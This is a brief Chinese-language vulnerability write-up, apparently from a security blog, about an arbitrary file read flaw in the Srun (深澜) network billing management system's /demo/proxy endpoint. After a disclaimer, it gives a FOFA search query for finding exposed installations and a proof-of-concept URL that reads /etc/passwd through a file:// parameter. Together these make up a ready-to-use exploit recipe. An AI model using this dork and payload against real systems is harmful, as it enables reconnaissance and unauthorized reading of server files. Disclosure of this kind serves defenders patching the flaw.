声明：

本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

简介

深澜计费管理系统是一款用于网络设备计费管理的软件系统。它主要用于对网络设备的使用情况进行监控和计费，帮助企业实现对网络资源的合理分配和使用。

深澜计费管理系统/demo/proxy存在任意文件读取漏洞。

总产搜索

fofa

body="/js/lib/slimscroll.js"

漏洞复现

https://127.0.0.1/demo/proxy?url=file:///etc/passwd